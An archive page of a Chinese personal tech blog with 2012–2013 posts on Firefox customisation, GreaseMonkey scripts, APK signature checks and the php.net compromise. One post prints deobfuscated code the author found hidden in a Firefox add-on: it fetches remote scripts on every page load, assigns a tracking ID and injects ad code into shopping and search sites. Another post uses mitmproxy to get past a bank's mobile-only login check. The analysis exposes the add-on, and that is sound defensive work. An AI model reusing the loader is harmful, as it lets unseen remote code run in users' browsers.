12
14
2013
12

豌豆荚:黑水洗不白应用

豌豆荚说火狐更新了,但是签名变了,需要谨慎升级:

豌豆荚:火狐有更新

于是,本来应试是这样子的火狐:

火狐国际版:热门网站 火狐国际版:书签

变成了这个样子,桌面还多了个奇怪的图标:

火狐中国版:热门网站 火狐中国版:书签 火狐中国版:「二维码」图标

我看到这堆乱七八糟的网站之后,只好自行去 Mozilla 的 FTP 站点下载国际版火狐,并验证了一下签名:

29674 ~tmp/firefox
>>> wget ftp://ftp.mozilla.org/pub/mozilla.org/mobile/releases/latest/android/multi/fennec-26.0.multi.android-arm.apk ftp://ftp.mozilla.org/pub/mozilla.org/mobile/releases/latest/android/multi/fennec-26.0.multi.android-arm.checksums ftp://ftp.mozilla.org/pub/mozilla.org/mobile/releases/latest/android/multi/fennec-26.0.multi.android-arm.checksums.asc
29675 ~tmp/firefox
>>> gpg --recv-keys 15A0A4BC
gpg: 下载密钥‘15A0A4BC’,从 hkp 服务器 keys.gnupg.net
gpg: 密钥 3A06537A:公钥“Mozilla Software Releases <releases@mozilla.org>”已导入
gpg: 需要 3 份勉强信任和 1 份完全信任,PGP 信任模型
gpg: 深度:0 有效性:  1 已签名:  4 信任度:0-,0q,0n,0m,0f,1u
gpg: 深度:1 有效性:  4 已签名:  0 信任度:4-,0q,0n,0m,0f,0u
gpg: 合计被处理的数量:1
gpg:           已导入:1  (RSA: 1)
29676 ~tmp/firefox
>>> gpg --verify fennec-26.0.multi.android-arm.checksums.asc
gpg: 于 2013年12月06日 星期五 01时11分05秒 CST 创建的签名,使用 RSA,钥匙号 15A0A4BC
gpg: 完好的签名,来自于“Mozilla Software Releases <releases@mozilla.org>”
gpg: 警告:这把密钥未经受信任的签名认证!
gpg:       没有证据表明这个签名属于它所声称的持有者。
主钥指纹: 2B90 598A 745E 992F 315E  22C5 8AB1 3296 3A06 537A
子钥指纹: 5445 390E F5D0 C2EC FB8A  6201 057C C3EB 15A0 A4BC
29677 ~tmp/firefox
>>> grep -F fennec-26.0.multi.android-arm.apk fennec-26.0.multi.android-arm.checksums
f6b14fbb5847cd87c8821cfd71beba8f64c7059e05a555c31e6ea8168905a54def6be8d20b0766b5f35f10b63efb73225d20cb4bfa04383b66d396d33f743242 sha512 26553667 fennec-26.0.multi.android-arm.apk
b20f6faa9d88171fb504eaf1a323918c md5 26553667 fennec-26.0.multi.android-arm.apk
5ffb036fa664fbbb59e750ec50b44a781af9565e sha1 26553667 fennec-26.0.multi.android-arm.apk
29678 ~tmp/firefox
>>> sha1sum fennec-26.0.multi.android-arm.apk
5ffb036fa664fbbb59e750ec50b44a781af9565e  fennec-26.0.multi.android-arm.apk

顺便看了看这两个版本火狐签名用的密钥:

29753 ~tmp/firefox
>>> unzip -p fennec-26.0.multi.android-arm.apk META-INF/RELEASE.RSA | keytool -printcert
所有者: CN=Release Engineering, OU=Release Engineering, O=Mozilla Corporation, L=Mountain View, ST=California, C=US
发布者: CN=Release Engineering, OU=Release Engineering, O=Mozilla Corporation, L=Mountain View, ST=California, C=US
序列号: 4c72fd88
有效期开始日期: Tue Aug 24 07:00:24 CST 2010, 截止日期: Sat Jan 09 07:00:24 CST 2038
证书指纹:
         MD5: B1:E1:BC:EE:27:33:02:5E:CE:94:56:E4:19:A8:14:A3
         SHA1: 92:0F:48:76:A6:A5:7B:4A:6A:2F:4C:CA:F6:5F:7D:29:CE:26:FF:2C
         SHA256: A7:8B:62:A5:16:5B:44:94:B2:FE:AD:9E:76:A2:80:D2:2D:93:7F:EE:62:51:AE:CE:59:94:46:B2:EA:31:9B:04
         签名算法名称: SHA1withRSA
         版本: 3
29754 ~tmp/firefox
>>> unzip -p org.mozilla.firefox-1.apk META-INF/RELEASE.RSA | keytool -printcert
所有者: CN=Release Engineering, OU=R&D, O=Mozilla Online, L=Beijing, ST=Beijing, C=CN
发布者: CN=Release Engineering, OU=R&D, O=Mozilla Online, L=Beijing, ST=Beijing, C=CN
序列号: 514de131
有效期开始日期: Sun Mar 24 01:06:57 CST 2013, 截止日期: Thu Aug 09 01:06:57 CST 2040
证书指纹:
         MD5: D7:C9:FC:AE:D0:3B:9F:24:43:33:DD:41:15:65:CD:8A
         SHA1: 1A:97:FA:6D:9D:83:DB:84:BE:77:1C:72:60:42:48:7C:85:83:D4:60
         SHA256: 02:A7:BC:81:02:74:C9:ED:38:93:3B:06:3D:1A:48:A8:4F:88:CB:11:C6:40:CA:A1:6C:F8:AA:FA:66:E3:C6:3A
         签名算法名称: SHA1withRSA
         版本: 3

那个中国特色的版本的密钥声称自己是 Mozilla 北京。估计和电脑上的中国版火狐一样,真是他们搞的吧。其实 Opera Mobile 我也不小心装过中国版的(名叫「欧朋浏览器」),不过比火狐中国版稍微好点,首页上那堆我用不到的网站很容易就删掉了,而中国版火狐我没能找到要怎么办。

看来以后一些手机应用的升级得自己来做了呢,标榜能「洗白白」应用的豌豆荚不小心就会给我塞点一堆广告的中国版应用……

Category: Android | Tags: Android 火狐 中国特色
11
27
2013
10

恢复火狐地址栏图标及 HTTPS 站点标识

大约一年前,火狐 14 发布的时候,取消了在地址栏显示网站图标的功能,而且重新设计了 HTTPS 网站的标识。那个白色背景上的绿色标识我很不喜欢,于是通过给 omni.ja 文件打补丁的方法恢复了之前的样式:

  • HTTP 网站图标:

    HTTP favicon

  • HTTPS 域名显示:

    HTTPS domain

  • HTTPS 「经营者」显示:

    HTTPS identity

  • 部分 chrome URL 显示(我自己照着改的):

    Chrome URL

可是,火狐 21 对这部分代码进行了重构,我找不到相关部分的代码了。于是,我一直还在使用火狐 20。直到前几天。

实际上,恢复在地址栏显示网站的扩展有不少,但无一例外,它们都只是恢复网站图标的显示。有个插件也恢复了 HTTPS 网站的浅蓝色域名显示,但是没有已认证的「经营者」的绿色显示。而且,它的代码是通过定时器每隔几百毫秒就执行一次,相比事件响应的方法太没效率了。

于是,使用代码片断速记器(默认快捷键Shift+F4),配合 Firebug 查看 chrome://browser/content/browser.xul,根据之前的样式表,我终于得到了以下解决方案(实际上上边的截图是我这个解决方案应用之后的)——

首先,安装 userChromeJS 扩展。这个扩展使得在火狐启动时加载 userChrome.js 文件。

其次,userChrome.js 文件,使地址栏显示网站图标并在正确的时机切换。它位于火狐配置目录下的 chrome 目录下:(注意已有新版

if(location == "chrome://browser/content/browser.xul"){
  (function(){

  var eTLDService = Components.classes["@mozilla.org/network/effective-tld-service;1"]
                    .getService(Components.interfaces.nsIEffectiveTLDService);

  function updateIcon(event){
    var tab = event.target;
    if(tab != gBrowser.selectedTab){
      return;
    }
    var icon = tab.image || 'chrome://mozapps/skin/places/defaultFavicon.png';
    document.getElementById('page-proxy-favicon').src = icon;
    var identity = document.getElementById('identity-box');
    if('verifiedDomain'.indexOf(identity.className) != -1){
      var identityLabel = document.getElementById('identity-icon-labels');
      identityLabel.collapsed = false;

      var domain = eTLDService.getBaseDomain(tab.linkedBrowser.lastURI);
      document.getElementById('identity-icon-label').value = domain;
    }
  }

  var container = gBrowser.tabContainer;
  container.addEventListener("TabSelect", updateIcon, false);
  container.addEventListener("TabAttrModified", updateIcon, false);

  })();
}

这部分,特别是标签页事件,参考了 MDN 的相关文档

最后,HTTPS 和 chrome URL 的样式文件,放到同目录下的 userChrome.css 中,有点长:

@namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul");

/* 地址栏图标 */
#identity-box {
  background-image: linear-gradient(hsl(0,0%,98%), hsl(0,0%,92%));
  box-shadow: 0 1px 0 hsla(0,0%,0%,.05) inset;
  -moz-border-end: 1px solid rgba(0,0,0,.1);
  -moz-margin-end: 3px !important;
}

#identity-box:hover:active,
#identity-box[open="true"] {
  background-image: linear-gradient(hsl(0,0%,92%), hsl(0,0%,82%));
  box-shadow: 0 1px 1px hsla(0,0%,0%,.3) inset,
              0 1px 3px hsla(0,0%,0%,.3) inset;
}

/* Text colors for each:
 *
 * rgb(38, 76, 129) hsl(215, 55, 33)
 * rgb(71, 153, 0)  hsl(92, 100, 30)
 * rgb(229, 115, 0) hsl(30, 100, 45)
 */

#identity-box.verifiedDomain {
  background-image: linear-gradient(hsl(215,60%,92%), hsl(215,58%,88%));
  box-shadow: 0 1px 0 hsla(215,54%,33%,.05) inset;
  -moz-border-end-color: hsla(215,54%,33%,.2);
  color: hsl(215,54%,33%);
}

#identity-box.verifiedDomain:hover:active,
#identity-box.verifiedDomain[open="true"] {
  background-image: linear-gradient(hsl(215,80%,80%), hsl(215,67%,65%));
  box-shadow: 0 1px 1px hsla(215,54%,33%,.7) inset,
              0 1px 3px 1px hsla(215,54%,33%,.5) inset;
}

#identity-box.verifiedIdentity {
  background-image: linear-gradient(hsl(91,70%,90%), hsl(93,60%,81%)) !important;
  box-shadow: 0 1px 0 hsla(92,81%,16%,.05) inset !important;
  -moz-border-end-color: hsla(92,81%,16%,.2) !important;
  background-repeat: inherit !important;
  background-color: transparent !important;
}

#identity-box.verifiedIdentity:hover:active,
#identity-box.verifiedIdentity[open="true"] {
  background-image: linear-gradient(hsl(92,65%,70%), hsl(92,40%,48%)) !important;
  box-shadow: 0 1px 1px hsla(92,81%,16%,.6) inset,
              0 1px 3px 1px hsla(92,81%,16%,.5) inset !important;
}

#identity-box.chromeUI {
  background-image: linear-gradient(hsl(29,70%,95%), hsl(31,60%,90%)) !important;
  box-shadow: 0 1px 0 hsla(30,81%,25%,.05) inset !important;
  -moz-border-end-color: hsla(30,81%,25%,.2) !important;
  background-repeat: inherit !important;
  background-color: transparent !important;
}

#identity-box.chromeUI:hover:active,
#identity-box.chromeUI[open="true"] {
  background-image: linear-gradient(hsl(30,65%,85%), hsl(30,65%,70%)) !important;
  box-shadow: 0 1px 1px hsla(30,81%,25%,.6) inset,
              0 1px 3px 1px hsla(30,81%,25%,.5) inset !important;
}

另外,新版火狐又有一点令我不满了:滚动到页面底部和顶部也会使用平滑滚动,不喜欢。还是这个是可选的,设置 general.smoothScroll.otherfalse 就可以了。

2013年11月29日更新:自火狐 23 起,地址栏搜索会使用搜索栏的默认搜索引擎。对于我这种拿地址栏搜网站、搜索栏查字典的用户来说,这很难以忍受。于是找到 keyword.URL Hack! 这个扩展,新建字符串设置keyword.URL为 Google「手气不错」地址https://www.google.com/search?hl=zh-CN&btnI=1&q=,终于又回到从前二者兼俱的时候。

2014年3月25日更新:更新了脚本,在载入过程中不会显示错误的图标了。

Category: 火狐 | Tags: 火狐 userChrome
11
13
2013
2

GM 脚本:清除 Google Groups 中的翻译提示

终于忍受不了 Google Groups 网页里到处都是的「将本帖翻译成中文」提示了——

// ==UserScript==
// @name           Google Group 清理
// @namespace      http://lilydjwg.is-programmer.com/
// @description    不用将帖子翻译成中文……
// @include        https://groups.google.com/*
// @grant      none
// ==/UserScript==

function doit() {
  console.log('cleaning up...');
  var divs = document.evaluate('//div[@class="gux-confirm-panel-c"]/div/a[@class="GFLL15SM5B"]/parent::div/parent::div', document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);

  for(var i=0, len=divs.snapshotLength; i<len; i++){
    var div = divs.snapshotItem(i);
    div.parentNode.removeChild(div);
  }
}

var timer;

document.body.addEventListener('overflow', function(e){
  if(timer){
    clearTimeout(timer);
  }
  timer = setTimeout(doit, 500, false);
});

点击安装备用地址

Category: 火狐 | Tags: google 火狐 GreaseMonkey
11
4
2013
5

GM 脚本:Scrum for Trello

没找到这个家伙的 Firefox 版本。想它只是改改 Trello 的 UI 什么的,于是要来 crx 文件,直接把它的 JavaScript 文件扒出来了(顺便也发现了它的 GitHub 地址,不过已经晚了)。

按这里安装

移植过程中解决的问题:

  • PNG 和 CSS 等外部文件。两个小的 PNG 图片,我直接使用 Data URI 内嵌了。CSS 我用 yuicompressor 压缩之后也通过脚本加入了。
  • jQuery 1.7.1 与 Trello 所使用的 2.0.0 冲突了。改成直接使用页面上已有的 jQuery,顺便还省个不小的依赖。在 GreaseMonkey 中得unsafeWindow.jQuery来访问加上@grant: none指示
  • .live()方法没了……按文档改用.on()。共四处改动。.on()在替代.live()时语法不一样要小心不要弄错了。
  • 匹配 Board 名的正则失效了,修之。

PS: 火狐按住Ctrl键可以创建多个选区,在可视化编辑器里可以同时调整多个地方的样式,真方便呢=w=

Category: 火狐 | Tags: 火狐 GreaseMonkey
10
25
2013
14

php.net 被攻破,Google Chrome 浏览器竟浑然不知

人们都说 Google Chrome 浏览器安全,可是——

昨日,有网友告诉我 php.net 被挂马了。于是我在火狐浏览器中访问,果然得到了警告:

php.net blocked by Firefox

再去 Google 搜索一下,果然也被标记上了:

php.net blocked by Google Search

直接点击搜索结果会得到 Google 的警告:

php.net blocked by Google

但是,Google Chrome 浏览器访问竟然没有任何提示

今天,这个警告已经移除了。php.net 官方发布了一些消息,证实它确实被攻破了。为了以防万一,他们吊销了 php.net 所使用的 SSL 证书。我于是尝试使用火狐访问使用了 SSL 的子站,比如这个 https://wiki.php.net/,火狐很明确地告诉我,它的证书已经被废弃了:

php.net SSL certificate revoked error

但是,Google Chrome 浏览器访问依然没有任何提示,表示安全的小绿锁依然鲜亮。

难道是 Google 认为 Google Chrome 浏览器本身已经足够安全,不仅能抵御任何它能检测出来的恶意网页,而且能在证书已被吊销的情况下判断出网页是否被篡改?

php.net with revoked certificate accepted by Google Chrome

注:以上均为浏览器默认安全配置,我没有手动修改任何安全相关的选项。

更新:在 Google Chrome 的「设置」中,点击「显示高级设置…」,往后滚,找到「HTTPS/SSL」,把「检查服务器证书吊销状态」前边的框勾上,Google Chrome 就也会报告证书不可信了。

再次更新:通过 GoAgent 访问,没有收到任何关于服务器证书已经失效的提示。证实了我之前关于通过 GoAgent 访问 HTTPS 站点会降低安全性的猜测。


感谢 Eleven.i386 提供了部分截图。

10
17
2013
8

订阅至此收取点,使用 InoReader 阅读器

Google 阅读器死掉好久了,火狐却依旧惦记着它:

火狐,你看这样可好?

配置方法:打开about:config,查找并修改以下选项值:


2013年11月11日更新:原来 InoReader(以及火狐)支持直接添加为 RSS 阅读器。在 InoReader 的「用户偏好设置」里,「附加功能」选项卡下,滚动到最后有一个「点按这里将 InoReader 作为订阅源阅读器添加到 Firefox」——

 

其对应的代码为:

function add_ff_handler(){navigator.registerContentHandler("application/vnd.mozilla.maybe.feed",proto+"://www.inoreader.com/?add_feed=%s","InoReader");}
Category: 火狐 | Tags: rss 火狐
10
12
2013
24

GM 脚本:在 Disqus 中提示需要登录

Disqus 越来越受欢迎,然而,非 Disqus 用户评论越来越艰难

一开始,和 WordPress 一样,名字、电邮、网站。想要新评论通知?好呀,使用 Facebook、Twitter 或者 Google+ 登录下就好。

后来,「Twitter 用户,创建个 Disqus 帐号吧!」不想要 Disqus 帐号,那就不要登陆了,也甭想推广自己的博客,填上电邮地址显示个头像吧。当然,为了迫使你们登陆,名字和电邮信息也不像一般博客是记住的。下次继续填,继续勾选「以访客身份发布」。

现在,花了不少时间和心思写完很不错的评论,双击填名字的文本框填名字时,却经常发现刚展开的部分里那个「以访客身份发布」复选框没有了。「对不起,必须登录才能在此博客留言哦亲。」Holy shhhhhhhhhhhhhit!

此 GreaseMonkey 脚本为防止最后一种情况的发生,在你动手写下评论的时候明确告诉你不登录你的评论是发不出去的

不过,由于我现在取不到自己的 Disqus 帐号密码,所以不确定登录 Disqus 帐号之后这个脚本能否正确检测到。欢迎反馈!

点击安装

脚本全文如下:

// ==UserScript==
// @name        Disqus login required reminder
// @namespace   http://lilydjwg.is-programmer.com/
// @description Remind you if you can't post your comments because you aren't logged in
// @include     http://disqus.com/embed/comments/*
// @include     https://disqus.com/embed/comments/*
// @version     1
// ==/UserScript==

var check = function(){
  var el = document.querySelector('input[name="author-guest"]');
  if(!el){
    setTimeout(check, 100, false);
    return;
  }
  if(el.style.display == 'none'){
    console.log("login required");
    var msg = document.getElementsByClassName('placeholder')[0];
    msg.textContent = '需要登录 / Login Required!';
    msg.parentNode.addEventListener('blur', function(){
      var msg = document.getElementsByClassName('placeholder')[0];
      msg.textContent = '需要登录 / Login Required!';
    });
  }
};

setTimeout(check, 100, false);

点击安装


附:我始终认为,不管登陆评论能给用户和自己带来多大的好处,只要文章允许评论,来访者应当能够以最小成本发表评论并且署名。也就是,不需要注册,不需要登录,你就可以评论。最好支持 Gravatar 头像,最好支持链接到自己的网站,最好支持被回复时 Email 提醒。实际上本博客非登录用户需要填写验证码我已经很不爽了,只是 Chito 这个博客程序提供的另一种反垃圾策略——使用 Akismet——我这边已经坏掉了。

所以我越来越敬佩 WordPress。

Category: 火狐 | Tags: 博客 火狐 网页 GreaseMonkey
8
20
2013
6

发现一款带隐藏广告代码的火狐插件

下载、解压,找到app.js。最后有一段混淆过的代码,注释曰「划词搜索电影」。使用 NodeJS 把eval里的函数执行结果打出来,再扔到 Vim 里拿 jsbeatify.vim 格式化一下,结果如下:

if (typeof(IMAXPluginChrome) == "undefined") {
  function S4() {
    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1)
  }
  function guid() {
    return (S4() + S4() + S4() + S4() + S4() + S4() + S4() + S4())
  }
  var IMAXPluginChrome = {
    getCid: function() {
      var uuid = nsPreferences.copyUnicharPref("extensions.imax.uuid", "");
      if (typeof(uuid) == "undefined" || uuid == "") {
        uuid = guid();
        nsPreferences.setUnicharPref("extensions.imax.uuid", uuid)
      }
      return uuid
    },
    loadScript: function(callback, unsafeWin) {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.status == 200 && xhr.readyState == 4) {
          var code = xhr.responseText;
          nsPreferences.setUnicharPref("extensions.imax.code", code);
          nsPreferences.setUnicharPref("extensions.imax.last_synced_at", Date.now() + "");
          callback(unsafeWin, code)
        }
      };
      xhr.open("GET", "http://imax.taobaoimages.com/bootstrap.js?cid=FF_" + IMAXPluginChrome.getCid(), true);
      xhr.send(null)
    },
    onDOMContentLoaded: function(event) {
      var code = nsPreferences.copyUnicharPref("extensions.imax.code", "");
      var last_synced_at = Number(nsPreferences.copyUnicharPref("extensions.imax.last_synced_at", 0));
      var unsafeWin = event.target.defaultView;
      if (unsafeWin.wrappedJSObject) {
        unsafeWin = unsafeWin.wrappedJSObject
      }
      function callback(unsafeWin, code) {
        var unsafeDocument = new XPCNativeWrapper(unsafeWin, "document").document;
        var script = unsafeDocument.createElement("script");
        script.type = "text/javascript";
        script.charset = "utf-8";
        script.textContent = code;
        unsafeDocument.body.appendChild(script)
      }
      if ((code == "") || ((Date.now() - last_synced_at) > (1000 * 60 * 60 * 24))) {
        IMAXPluginChrome.loadScript(callback, unsafeWin)
      } else {
        callback(unsafeWin, code)
      }
    },
    onLoad: function(event) {
      var appcontent = document.getElementById("appcontent");
      if (appcontent) {
        appcontent.addEventListener("load", this.onDOMContentLoaded, true)
      }
    },
    onUnload: function(event) {
      window.removeEventListener("load", this.onLoad, false);
      window.removeEventListener("unload", this.onUnload, false);
      var appcontent = document.getElementById("appcontent");
      appcontent.removeEventListener("DOMContentLoaded", this.onDOMContentLoaded, false)
    },
    init: function() {
      window.addEventListener("load", function(event) {
        IMAXPluginChrome.onLoad(event)
      },
      false);
      window.addEventListener("unload", function(event) {
        IMAXPluginChrome.onUnload(event)
      },
      false)
    }
  };
  IMAXPluginChrome.init()
}

这段代码异步载入了来自http://imax.taobaoimages.com/bootstrap.js?cid=FF_XXX的代码,其中XXX是生成的用户 ID。又是一段混淆过的代码,还是一样的eval,转义字符串数组也一样扔 NodeJS 就行了。处理后的脚本如下:

(function(cid) {
  if (window.tbk) {
    return
  }
  window.tbk = true;
  var plugin_scripts = {
    "http://(.*?\.tao)(bao\.com)|(tao\.et)(ao\.com)": "http://imax.taobaoimages.com/browser.js"
  };
  for (var enabledDomains in plugin_scripts) {
    var host = document.location.href;
    if (host.match(RegExp(enabledDomains))) {
      imax_script_url = plugin_scripts[enabledDomains];
      function readCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
          var c = ca[i];
          while (c.charAt(0) == ' ') c = c.substring(1, c.length);
          if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
        }
        return null
      }
      function addBrowserJs() {
        if (document.readyState == "complete") {
          var h = document.getElementsByTagName('head')[0];
          var s = document.createElement('script');
          s.setAttribute('type', 'text/javascript');
          s.setAttribute('charset', 'utf-8');
          s.setAttribute('async', true);
          if (readCookie("_q_r_b_")) {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          } else {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          }
          h.appendChild(s)
        } else {
          window.setTimeout(addBrowserJs, 20)
        }
      }
      addBrowserJs()
    }
  }
})("CID");

(function(d) {
  var _0xc429 = ['href', 'location', 'http://taoad.wandoupai.com/ad.js', '', 's.taobao.com/search', 
    'search', 'weibo', 'baidu', 'length', 'match',
  'ad=', 'getElementsByClassName', 'createElement', 'className', 'body',
  'getElementsByTagName', 'appendChild', 'script', 'T1xC6MXfthXXcWeqbX', '?', 'type', 'text/javascript', 'src'];
  var href = d.location.href;
  var host = 'http://taoad.wandoupai.com/ad.js';
  var url = '';
  var url_map = [['s.taobao.com/search', 'search'], ['weibo', 'weibo'], ['baidu', 'baidu']];
  for (var i = 0; i < url_map.length; i++) {
    if (href.match(url_map[i][0])) {
      url = 'ad=' + url_map[i][1];
      break;
    };
  };
  if (url == '') {
    return false;
  };
  var appendTag = function(a, b, c) {
    if (document.getElementsByClassName(b).length > 0) {
      return;
    };
    var el = d.createElement(a);
    el.className = b;
    c(el);
    var body0 = d.getElementsByTagName('body')[0];
    if (!body0) {
      return;
    };
    body0.appendChild(el);
    return el;
  };
  appendTag('script', 'T1xC6MXfthXXcWeqbX', function(a) {
    var link = host + '?' + url;
    a.type = 'text/javascript';
    a.src = link;
  });
})(document);

这段脚本会按照当前访问的网站地址载入地址类似http://taoad.wandoupai.com/ad.js?ad=baidu的脚本。目前,这个地址返回的是空文档。说好的广告呢……

6
27
2013
10

使用 SQLite3 的第三方扩展来修改火狐历史记录中的 URL

在火狐 17 以前,我可以这样子访问我本地的 Python 文档的:

jar:file:///home/lilydjwg/docs/Python/python.zip!/index.html

访问的实际上是一个 zip 文件中的内容。网页这种纯文本的东西压缩率高,35M 的 Python 3.3 文档,压缩后只有 7.1M。一来节省磁盘空间(我的 /home 分区己用 98% 了 TwT),二来读取快。

可是,自从火狐 17 开始,虽然 jar: 协议依旧支持,但是似乎其中的部分或者全部 JavaScript 脚本不会被执行。最明显的是,Python 这种用 Sphinx 制作的文档的搜索功能没了!

在拒绝升级火狐很长一段时间之后,Arch 把火狐 16 要用的库文件升级了……于是只好换回未压缩的一大堆文件。可问题是,我以前在火狐地址栏输入re就有 Python 正则表达式模块的文档的补全、输入py m就有 Python 标准库模块列表的补全,地址转换后,这些历史记录里的地址就全失效啦。

现在想想,其实我可以使用 Redirector 插件搞定的。但当时没想到,也是想更根本地解决问题,便直接修改火狐的地址记录数据库了。

此数据库是 SQLite3 数据库,位于火狐配置目录下的places.sqlite3文件中。moz_places表中记录了历史记录和书签中的项目的 URL 地址,只修改它就可以了。但问题是,这不像我当初 MediaWiki URL 路径中去掉index.php那样,用replace函数就可以搞定:

UPDATE OR REPLACE moz_places SET url = REPLACE(url, '/index.php', '') WHERE url LIKE 'http://localhost/wiki/index.php/%';

我需要正则表达式

于是找到了这个 glib_replace 模块,支持使用 glib 的正则表达式来进行替换。下回来编译成 .so 文件后这样子用:

SELECT load_extension('./glib_replace.so');
UPDATE OR REPLACE moz_places SET url = regex_replace('^jar:((?:.(?![^/]+\.zip!))+)(/[^/]+)\.zip!(.*)$', url, '\1\2\3') WHERE url LIKE 'jar:file:///home/lilydjwg/docs/Python/python%'; 

跑完就好啦!

PS: 如果你的 URL 中有 % 字符,记得在 like 操作符参数中转义成 %% 哦~

参考链接

Category: 火狐 | Tags: 正则表达式 火狐 sqlite3
8
2
2012
14

GM 脚本:桌面浏览器登录招商银行手机版,及 mitmproxy 的初次使用

招商银行网银需要控件,只支持 Windows 和 Mac。但是手机版不需要安装任何软件可直接登录。通过桌面浏览器访问https://mobile.cmbchina.com/MobileHtml/Login/LoginA.aspx可以看到登录界面,但登录时被拒绝,弹出警告「为了您的资产安全,请用手机访问手机银行!」。更改 UserAgent 失败。通过 Firebug 发现其 POST 数据中包含从 JavaScript 取到的navigator.UserAgentscreen.widthscreen.heightnavigator.platform的值,以 XML 发送给服务器。于是尝试修改之。

这次使用 privoxy 不行了,因为是 HTTPS 加密连接,privoxy 看不到内容。于是用上了前不久才发现的工具mitmproxy,一个支持 SSL 的中间人代理,并支持交互、命令行和脚本化查看、编辑功能。在看了下请求数据后,按i输入要中断的请求的模式-u LoginA,在请求 URL 包含LoginA字样时中断以进行人工编辑。使用j键移动到停下来的橙色请求上:

中断浏览器请求

按回车显示详细信息,按e进行编辑,f选择编辑表单域,编辑完成后退回到请求列表界面,按a继续,再按a接受响应信息。

编辑POST表单

经过多次 Google 和编辑尝试,招行终于不再要求我使用手机访问了。不过很显示,我不能每次登录都使用 mitmproxy 手工编辑对不?于是写了个 GreaseMonkey 脚本。

此脚本用到了unsafeWindow,也就是页面本身中的那个window对象,而不是被GreaseMonkey wrap 过的。这样才能修改页面中定义的函数。注意据说这样做有安全风险。详见 GreaseMonkey Wiki

点击此处安装此脚本早已失效

Category: 火狐 | Tags: GreaseMonkey 火狐 mitmproxy

| Theme: Aeros 2.0 by TheBuckmaker.com